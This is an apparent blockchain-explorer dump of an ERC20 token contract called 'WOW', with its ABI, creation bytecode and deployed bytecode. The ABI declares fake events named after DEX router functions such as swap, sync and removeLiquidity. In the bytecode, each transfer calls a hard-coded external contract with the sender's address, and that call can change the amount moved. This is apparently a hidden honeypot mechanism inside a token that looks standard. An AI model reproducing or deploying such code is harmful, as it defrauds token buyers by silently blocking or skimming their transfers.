int256","name":"amountTokenMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountETHMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"removeLiquidityETHSupportingFeeOnTransferTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"liquidity","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountTokenMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountETHMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"},{"indexed":false,"internalType":"bool","name":"approveMax","type":"bool"},{"indexed":false,"internalType":"uint8","name":"v","type":"uint8"},{"indexed":false,"internalType":"bytes32","name":"r","type":"bytes32"},{"indexed":false,"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"removeLiquidityETHWithPermit","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"liquidity","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountTokenMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountETHMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"},{"indexed":false,"internalType":"bool","name":"approveMax","type":"bool"},{"indexed":false,"internalType":"uint8","name":"v","type":"uint8"},{"indexed":false,"internalType":"bytes32","name":"r","type":"bytes32"},{"indexed":false,"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"removeLiquidityETHWithPermitSupportingFeeOnTransferTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"to","type":"address"}],"name":"skim","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"bytes","name":"data","type":"bytes"}],"name":"swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountOutMin","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapExactETHForTokensSupportingFeeOnTransferTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountOutMin","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapExactTokensForETHSupportingFeeOnTransferTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountOutMin","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapExactTokensForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountOutMin","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapExactTokensForTokensSupportingFeeOnTransferTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountOut","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountInMax","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapTokensForExactTokens","type":"event"},{"anonymous":false,"inputs":[],"name":"sync","type":"event"},{"anonymous":false,"inputs":[],"name":"token0","type":"event"},{"anonymous":false,"inputs":[],"name":"token1","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405260015f806101000a81548160ff021916908315150217905550602c5f60016101000a81548161ffff021916908361ffff1602179055506040518060400160405280600381526020017f574f5700000000000000000000000000000000000000000000000000000000008152506001908162000080919062000621565b5073107923dff52c2c23475a615449b185f43af6b3db60025f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600260146101000a81548160ff0219169083151502179055506040518060400160405280600581526020017f66616c73650000000000000000000000000000000000000000000000000000008152506003908162000136919062000621565b50604051620020723803806200207283398181016040528101906200015c91906200088c565b6200016d5f620002e360201b60201c565b82600790816200017e919062000621565b50816008908162000190919062000621565b50601260095f6101000a81548160ff021916908360ff16021790555060095f9054906101000a900460ff16600a620001c9919062000aac565b81620001d6919062000afc565b600a8190555062000230600a5460055f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054620003a660201b90919060201c565b60055f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600a54604051620002d2919062000b57565b60405180910390a350505062000bac565b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f8183620003b5919062000b72565b905092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200043957607f821691505b6020821081036200044f576200044e620003f4565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620004b37fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000476565b620004bf868362000476565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f6200050962000503620004fd84620004d7565b620004e0565b620004d7565b9050919050565b5f819050919050565b6200052483620004e9565b6200053c620005338262000510565b84845462000482565b825550505050565b5f90565b6200055262000544565b6200055f81848462000519565b505050565b5b8181101562000586576200057a5f8262000548565b60018101905062000565565b5050565b601f821115620005d5576200059f8162000455565b620005aa8462000467565b81016020851015620005ba578190505b620005d2620005c98562000467565b83018262000564565b50505b505050565b5f82821c905092915050565b5f620005f75f1984600802620005da565b1980831691505092915050565b5f620006118383620005e6565b9150826002028217905092915050565b6200062c82620003bd565b67ffffffffffffffff811115620006485762000647620003c7565b5b62000654825462000421565b620006618282856200058a565b5f60209050601f83116001811462000697575f841562000682578287015190505b6200068e858262000604565b865550620006fd565b601f198416620006a78662000455565b5f5b82811015620006d057848901518255600182019150602085019450602081019050620006a9565b86831015620006f05784890151620006ec601f891682620005e6565b8355505b6001600288020188555050505b505050505050565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f601f19601f8301169050919050565b62000739826200071e565b810181811067ffffffffffffffff821117156200075b576200075a620003c7565b5b80604052505050565b5f6200076f62000705565b90506200077d82826200072e565b919050565b5f67ffffffffffffffff8211156200079f576200079e620003c7565b5b620007aa826200071e565b9050602081019050919050565b5f5b83811015620007d6578082015181840152602081019050620007b9565b5f8484015250505050565b5f620007f7620007f18462000782565b62000764565b9050828152602081018484840111156200081657620008156200071a565b5b62000823848285620007b7565b509392505050565b5f82601f83011262000842576200084162000716565b5b815162000854848260208601620007e1565b91505092915050565b6200086881620004d7565b811462000873575f80fd5b50565b5f8151905062000886816200085d565b92915050565b5f805f60608486031215620008a657620008a56200070e565b5b5f84015167ffffffffffffffff811115620008c657620008c562000712565b5b620008d4868287016200082b565b935050602084015167ffffffffffffffff811115620008f857620008f762000712565b5b62000906868287016200082b565b9250506040620009198682870162000876565b9150509250925092565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115620009ad5780860481111562000985576200098462000923565b5b6001851615620009955780820291505b8081029050620009a58562000950565b945062000965565b94509492505050565b5f82620009c7576001905062000a99565b81620009d6575f905062000a99565b8160018114620009ef5760028114620009fa5762000a30565b600191505062000a99565b60ff84111562000a0f5762000a0e62000923565b5b8360020a91508482111562000a295762000a2862000923565b5b5062000a99565b5060208310610133831016604e8410600b841016171562000a6a5782820a90508381111562000a645762000a6362000923565b5b62000a99565b62000a7984848460016200095c565b9250905081840481111562000a935762000a9262000923565b5b81810290505b9392505050565b5f60ff82169050919050565b5f62000ab882620004d7565b915062000ac58362000aa0565b925062000af47fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620009b6565b905092915050565b5f62000b0882620004d7565b915062000b1583620004d7565b925082820262000b2581620004d7565b9150828204841483151762000b3f5762000b3e62000923565b5b5092915050565b62000b5181620004d7565b82525050565b5f60208201905062000b6c5f83018462000b46565b92915050565b5f62000b7e82620004d7565b915062000b8b83620004d7565b925082820190508082111562000ba65762000ba562000923565b5b92915050565b6114b88062000bba5f395ff3fe608060405234801561000f575f80fd5b50600436106100b2575f3560e01c8063715018a61161006f578063715018a6146101a05780638da5cb5b146101aa57806395d89b41146101c8578063a9059cbb146101e6578063dd62ed3e14610216578063f2fde38b14610246576100b2565b806306fdde03146100b6578063095ea7b3146100d457806318160ddd1461010457806323b872dd14610122578063313ce5671461015257806370a0823114610170575b5f80fd5b6100be610262565b6040516100cb9190610d95565b60405180910390f35b6100ee60048036038101906100e99190610e46565b6102f2565b6040516100fb9190610e9e565b60405180910390f35b61010c610308565b6040516101199190610ec6565b60405180910390f35b61013c60048036038101906101379190610edf565b610311565b6040516101499190610e9e565b60405180910390f35b61015a6103d7565b6040516101679190610f4a565b60405180910390f35b61018a60048036038101906101859190610f63565b6103ec565b6040516101979190610ec6565b60405180910390f35b6101a8610432565b005b6101b26104b2565b6040516101bf9190610f9d565b60405180910390f35b6101d06104da565b6040516101dd9190610d95565b60405180910390f35b61020060048036038101906101fb9190610e46565b61056a565b60405161020d9190610e9e565b60405180910390f35b610230600480360381019061022b9190610fb6565b610580565b60405161023d9190610ec6565b60405180910390f35b610260600480360381019061025b9190610f63565b610602565b005b60606007805461027190611021565b80601f016020809104026020016040519081016040528092919081815260200182805461029d90611021565b80156102e85780601f106102bf576101008083540402835291602001916102e8565b820191905f5260205f20905b8154815290600101906020018083116102cb57829003601f168201915b5050505050905090565b5f6102fe3384846106f1565b6001905092915050565b5f600a54905090565b5f61031d8484846108b4565b6103cc84336103c78560405180606001604052806028815260200161145b6028913960065f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610bdf9092919063ffffffff16565b6106f1565b600190509392505050565b5f60095f9054906101000a900460ff16905090565b5f60055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166104516104b2565b73ffffffffffffffffffffffffffffffffffffffff16146104a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161049e9061109b565b60405180910390fd5b6104b05f610c33565b565b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600880546104e990611021565b80601f016020809104026020016040519081016040528092919081815260200182805461051590611021565b80156105605780601f1061053757610100808354040283529160200191610560565b820191905f5260205f20905b81548152906001019060200180831161054357829003601f168201915b5050505050905090565b5f6105763384846108b4565b6001905092915050565b5f60065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff166106216104b2565b73ffffffffffffffffffffffffffffffffffffffff1614610677576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161066e9061109b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036106e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106dc90611129565b60405180910390fd5b6106ee81610c33565b50565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361075f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610756906111b7565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036107cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c490611245565b60405180910390fd5b8060065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516108a79190610ec6565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610922576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610919906112d3565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610990576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098790611361565b60405180910390fd5b5f8060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635d4446b5866040518263ffffffff1660e01b81526004016109ec9190610f9d565b602060405180830381865afa158015610a07573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a2b91906113a9565b90508015610a37578192505b610aa1836040518060600160405280602681526020016114356026913960055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610bdf9092919063ffffffff16565b60055f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610b328360055f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610cf690919063ffffffff16565b60055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610bd09190610ec6565b60405180910390a35050505050565b5f838311158290610c26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1d9190610d95565b60405180910390fd5b5082840390509392505050565b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f8183610d039190611401565b905092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015610d42578082015181840152602081019050610d27565b5f8484015250505050565b5f601f19601f8301169050919050565b5f610d6782610d0b565b610d718185610d15565b9350610d81818560208601610d25565b610d8a81610d4d565b840191505092915050565b5f6020820190508181035f830152610dad8184610d5d565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610de282610db9565b9050919050565b610df281610dd8565b8114610dfc575f80fd5b50565b5f81359050610e0d81610de9565b92915050565b5f819050919050565b610e2581610e13565b8114610e2f575f80fd5b50565b5f81359050610e4081610e1c565b92915050565b5f8060408385031215610e5c57610e5b610db5565b5b5f610e6985828601610dff565b9250506020610e7a85828601610e32565b9150509250929050565b5f8115159050919050565b610e9881610e84565b82525050565b5f602082019050610eb15f830184610e8f565b92915050565b610ec081610e13565b82525050565b5f602082019050610ed95f830184610eb7565b92915050565b5f805f60608486031215610ef657610ef5610db5565b5b5f610f0386828701610dff565b9350506020610f1486828701610dff565b9250506040610f2586828701610e32565b9150509250925092565b5f60ff82169050919050565b610f4481610f2f565b82525050565b5f602082019050610f5d5f830184610f3b565b92915050565b5f60208284031215610f7857610f77610db5565b5b5f610f8584828501610dff565b91505092915050565b610f9781610dd8565b82525050565b5f602082019050610fb05f830184610f8e565b92915050565b5f8060408385031215610fcc57610fcb610db5565b5b5f610fd985828601610dff565b9250506020610fea85828601610dff565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061103857607f821691505b60208210810361104b5761104a610ff4565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611085602083610d15565b915061109082611051565b602082019050919050565b5f6020820190508181035f8301526110b281611079565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f611113602683610d15565b915061111e826110b9565b604082019050919050565b5f6020820190508181035f83015261114081611107565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6111a1602483610d15565b91506111ac82611147565b604082019050919050565b5f6020820190508181035f8301526111ce81611195565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61122f602283610d15565b915061123a826111d5565b604082019050919050565b5f6020820190508181035f83015261125c81611223565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6112bd602583610d15565b91506112c882611263565b604082019050919050565b5f6020820190508181035f8301526112ea816112b1565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f61134b602383610d15565b9150611356826112f1565b604082019050919050565b5f6020820190508181035f8301526113788161133f565b9050919050565b61138881610e84565b8114611392575f80fd5b50565b5f815190506113a38161137f565b92915050565b5f602082840312156113be576113bd610db5565b5b5f6113cb84828501611395565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61140b82610e13565b915061141683610e13565b925082820190508082111561142e5761142d6113d4565b5b9291505056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122074433d30cd8ff9f77b701933d5eefa4aa14ca7f20668a3a364c84fd4b09dbe2d64736f6c63430008150033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000773594000000000000000000000000000000000000000000000000000000000000000003574f5700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003574f570000000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561000f575f80fd5b50600436106100b2575f3560e01c8063715018a61161006f578063715018a6146101a05780638da5cb5b146101aa57806395d89b41146101c8578063a9059cbb146101e6578063dd62ed3e14610216578063f2fde38b14610246576100b2565b806306fdde03146100b6578063095ea7b3146100d457806318160ddd1461010457806323b872dd14610122578063313ce5671461015257806370a0823114610170575b5f80fd5b6100be610262565b6040516100cb9190610d95565b60405180910390f35b6100ee60048036038101906100e99190610e46565b6102f2565b6040516100fb9190610e9e565b60405180910390f35b61010c610308565b6040516101199190610ec6565b60405180910390f35b61013c60048036038101906101379190610edf565b610311565b6040516101499190610e9e565b60405180910390f35b61015a6103d7565b6040516101679190610f4a565b60405180910390f35b61018a60048036038101906101859190610f63565b6103ec565b6040516101979190610ec6565b60405180910390f35b6101a8610432565b005b6101b26104b2565b6040516101bf9190610f9d565b60405180910390f35b6101d06104da565b6040516101dd9190610d95565b60405180910390f35b61020060048036038101906101fb9190610e46565b61056a565b60405161020d9190610e9e565b60405180910390f35b610230600480360381019061022b9190610fb6565b610580565b60405161023d9190610ec6565b60405180910390f35b610260600480360381019061025b9190610f63565b610602565b005b60606007805461027190611021565b80601f016020809104026020016040519081016040528092919081815260200182805461029d90611021565b80156102e85780601f106102bf576101008083540402835291602001916102e8565b820191905f5260205f20905b8154815290600101906020018083116102cb57829003601f168201915b5050505050905090565b5f6102fe3384846106f1565b6001905092915050565b5f600a54905090565b5f61031d8484846108b4565b6103cc84336103c78560405180606001604052806028815260200161145b6028913960065f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610bdf9092919063ffffffff16565b6106f1565b600190509392505050565b5f60095f9054906101000a900460ff16905090565b5f60055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166104516104b2565b73ffffffffffffffffffffffffffffffffffffffff16146104a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161049e9061109b565b60405180910390fd5b6104b05f610c33565b565b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600880546104e990611021565b80601f016020809104026020016040519081016040528092919081815260200182805461051590611021565b80156105605780601f1061053757610100808354040283529160200191610560565b820191905f5260205f20905b81548152906001019060200180831161054357829003601f168201915b5050505050905090565b5f6105763384846108b4565b6001905092915050565b5f60065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff166106216104b2565b73ffffffffffffffffffffffffffffffffffffffff1614610677576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161066e9061109b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036106e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106dc90611129565b60405180910390fd5b6106ee81610c33565b50565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361075f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610756906111b7565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036107cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c490611245565b60405180910390fd5b8060065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516108a79190610ec6565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610922576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610919906112d3565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610990576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098790611361565b60405180910390fd5b5f8060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635d4446b5866040518263ffffffff1660e01b81526004016109ec9190610f9d565b602060405180830381865afa158015610a07573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a2b91906113a9565b90508015610a37578192505b610aa1836040518060600160405280602681526020016114356026913960055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610bdf9092919063ffffffff16565b60055f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610b328360055f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610cf690919063ffffffff16565b60055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610bd09190610ec6565b60405180910390a35050505050565b5f838311158290610c26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1d9190610d95565b60405180910390fd5b5082840390509392505050565b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f8183610d039190611401565b905092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015610d42578082015181840152602081019050610d27565b5f8484015250505050565b5f601f19601f8301169050919050565b5f610d6782610d0b565b610d718185610d15565b9350610d81818560208601610d25565b610d8a81610d4d565b840191505092915050565b5f6020820190508181035f830152610dad8184610d5d565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610de282610db9565b9050919050565b610df281610dd8565b8114610dfc575f80fd5b50565b5f81359050610e0d81610de9565b92915050565b5f819050919050565b610e2581610e13565b8114610e2f575f80fd5b50565b5f81359050610e4081610e1c565b92915050565b5f8060408385031215610e5c57610e5b610db5565b5b5f610e6985828601610dff565b9250506020610e7a85828601610e32565b9150509250929050565b5f8115159050919050565b610e9881610e84565b82525050565b5f602082019050610eb15f830184610e8f565b92915050565b610ec081610e13565b82525050565b5f602082019050610ed95f830184610eb7565b92915050565b5f805f60608486031215610ef657610ef5610db5565b5b5f610f0386828701610dff565b9350506020610f1486828701610dff565b9250506040610f2586828701610e32565b9150509250925092565b5f60ff82169050919050565b610f4481610f2f565b82525050565b5f602082019050610f5d5f830184610f3b565b92915050565b5f60208284031215610f7857610f77610db5565b5b5f610f8584828501610dff565b91505092915050565b610f9781610dd8565b82525050565b5f602082019050610fb05f830184610f8e565b92915050565b5f8060408385031215610fcc57610fcb610db5565b5b5f610fd985828601610dff565b9250506020610fea85828601610dff565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061103857607f821691505b60208210810361104b5761104a610ff4565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611085602083610d15565b915061109082611051565b602082019050919050565b5f6020820190508181035f8301526110b281611079565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f64647265737300000000000000000000000000000000000000000000000000006020820152505